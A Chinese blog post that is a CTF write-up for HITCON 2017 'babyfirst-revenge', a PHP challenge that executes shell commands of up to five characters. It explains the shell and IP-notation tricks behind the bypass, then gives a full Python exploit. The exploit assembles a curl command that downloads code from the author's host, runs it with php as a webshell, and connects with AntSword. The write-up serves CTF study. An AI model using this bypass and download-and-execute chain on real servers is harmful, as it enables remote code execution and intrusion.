BlankのBlog

HITCON 2017 babyfirst-revenge

字数:457 Topic:web Tag:2018-05

题目源码

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

0x01 从环境搭建开始

使用的是ubuntu16.04,安装虚拟机,安装apache2+php+mysql,安装git,安装vim,精简系统等等。说一下在配置环境过程中遇到的问题:

  • 首先得建立/www/sandbox目录,linux创建文件(夹)时如果前置目录不存在会报错
  blank@blank-virtual-machine:~$ mkdir /test/test/test
  mkdir: cannot create directory ‘/test/test/test’: No such file or directory
  • www-data由于没有实体,在sudoers下给予权限会无效
  blank@blank-virtual-machine:~$ cat /etc/passwd | grep www-data
  www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

解决方法,一是更换php执行者,一是更换路径的权限。

0x02 知识准备

首先在解这道题目之前需要做些知识的铺垫

  • IP的等价表示法

我们常见的ip是由.为分隔符的4个十进制数表示,但其实上,在我们需要的时候,可以使用八进制,16进制,长整数来表示。转换代码

   #coding=utf-8
   
   ip = '192.168.98.133'
   # 十六进制
   print '0x' + ''.join([str(hex(int(i))[2:].zfill(2))for i in ip.split('.')])
   # 长整数
   print int(''.join([str(hex(int(i))[2:].zfill(2))for i in ip.split('.')]), 16)
   # 八进制
   print '0' + oct(int(''.join([str(hex(int(i))[2:].zfill(2))for i in ip.split('.')]), 16))

ip地址的“构造”是由32位二进制数组成的,比如192.168.98.133

   192		11000000
   168		10101000
   98		01100010
   133		10000101

那么192.168.98.133的长整形就是32位2进制数的值

   >>> print int(0b11000000101010000110001010000101)
   3232260741

16进制表示就是0x+单个十进制数的16进制值,也可以使用累加法

   >>> print hex(202*2**24+204*2**16+120*2**8+63)
   0xcacc783fL
   注:0xc0a86285才是16进制值,最后的L是由于int型数字大于2^31会自动转化成long,long转化为16进制时会在最后添加L

八进制表示可以用0+oct(长整形10进制)得到

   >>> print oct(3232260741)
   030052061205L
   八进制为0030052061205,L与之前同理

测试

   D:\
   λ ping 0xc0a86285
   正在 Ping 192.168.98.133 具有 32 字节的数据:
   来自 192.168.98.133 的回复: 字节=32 时间<1ms TTL=64
   来自 192.168.98.133 的回复: 字节=32 时间<1ms TTL=64
   
   D:\
   λ ping 3232260741
   正在 Ping 192.168.98.133 具有 32 字节的数据:
   来自 192.168.98.133 的回复: 字节=32 时间<1ms TTL=64
   来自 192.168.98.133 的回复: 字节=32 时间<1ms TTL=64
   
   D:\
   λ ping 0030052061205
   正在 Ping 192.168.98.133 具有 32 字节的数据:
   来自 192.168.98.133 的回复: 字节=32 时间<1ms TTL=64
   来自 192.168.98.133 的回复: 字节=32 时间<1ms TTL=64
   
  • 利用续行符拆分命令
  blank@blank-virtual-machine:~$ l\
  > s
  Desktop    Downloads         Music     Public     Videos
  Documents  examples.desktop  Pictures  Templates
  • bash执行脚本时会忽略一行错误
  root@blank-virtual-machine:/www/sandbox/c7576a7ba5b8523ab4ac5f3d1ca02fcd# cat a
  a
  ls -t
  root@blank-virtual-machine:/www/sandbox/c7576a7ba5b8523ab4ac5f3d1ca02fcd# sh a
  a: 1: a: a: not found
  d  c  b  a
  • *执行命令
  # touch echo rev type wc whereis which who  && ls && * 
  echo  rev  type  wc  whereis  which  who
  rev type wc whereis which who
  # rm echo && ls && echo '1234'>type && *
  rev  type  wc  whereis  which  who
  4321
  # rm rev && ls && *
  type  wc  whereis  which  who
  wc is /usr/bin/wc
  whereis is /usr/bin/whereis
  which is /usr/bin/which
  who is /usr/bin/who
  # rm type && ls && *
  wc  whereis  which  who
  0 0 0 whereis
  0 0 0 which
  0 0 0 who
  0 0 0 total
  ...

*会把ls下第一个名称作为命令执行

*匹配时会列出所有符合条件的文件

  # touch echo rev type wc whereis which who
  # echo w*
  wc whereis which who
  • ls的排列顺序

ls排序方式

0x03 题目分析

代码根据访问者的ip在/www/sandbox目录下建立一个目录,然后通过cmd传入执行的命令,但是长度小于等于5,使用reset重置环境。简单点说就是绕过5个字节限制getshell。

思路:

通过执行curl 192.168.98.133:8000>A获取放在公网上的代码

更改A里面的内容为一句话木马,使用php A执行

遇到的问题:

  • 在使用curl + 长整形ip地址以及curl + 8进制地址时返回400,目前没解决,,,,
  • 16进制的ip地址无法满足ls的排序需求,所以需要使用ls -t

具体操作:

首先需要在一个文件里保存需要执行的ls -t>g

>dir
>sl
>ht-	# 使用ht是由于s显示在t前面
>g\>
*>v		# v里面的内容为 g>  ht-  sl

这时候v里面就得到了我们想要的语句逆序,使用*能执行命令的特性来改变顺序

>rev
*v>x	# *v匹配的结果为rev v

此时x里即为需要的ls -ht >g ,接下来只需要逆向构造curl即可

'>\>t',
'>00\\',
'>:80\\',
'>285\\',
'>86\\',
'>0a\\',
'>0xc\\',
'>l\ \\',
'>cur\\',
# \\为python的转义,在实际url中还是一个\

最终的exp如下

#coding=utf-8

import requests


payload = [ '>dir',
			'>sl',
			'>ht-',
			'>g\>',
			'*>v',

			'>rev',
			'*v>x',
			
			# 删除过度文件
			'rm d*',
			'rm s*',
			'rm h*',
			'rm g*',
			'rm v*',
			'rm r*',
			
			# 拉取本地index.html
			'>\>t',
			'>285\\',
			'>86\\',
			'>0a\\',
			'>0xc\\',
			'>l\ \\',
			'>cur\\',

			'sh x',
			'sh g',
			'php t'
]

for i in payload:
	url = 'http://192.168.98.133:8000/?cmd=' + i
	r = requests.get(url)
	print '%s' % r.status_code,url

然后蚁剑连接即可,关于字节限制在4,只需要更改本地url地址即可

0x04 参考

这道题学到了很多东西,不仅限于题目,包括在搭建的过程中遇到的一些之前没注意到的小细节、linux系统的一些特性等等。感谢梅子酒师傅的git~

如何绕过四个字符限制getshell

Blog of Xiaoxi

千帆过尽,勿忘初心 UP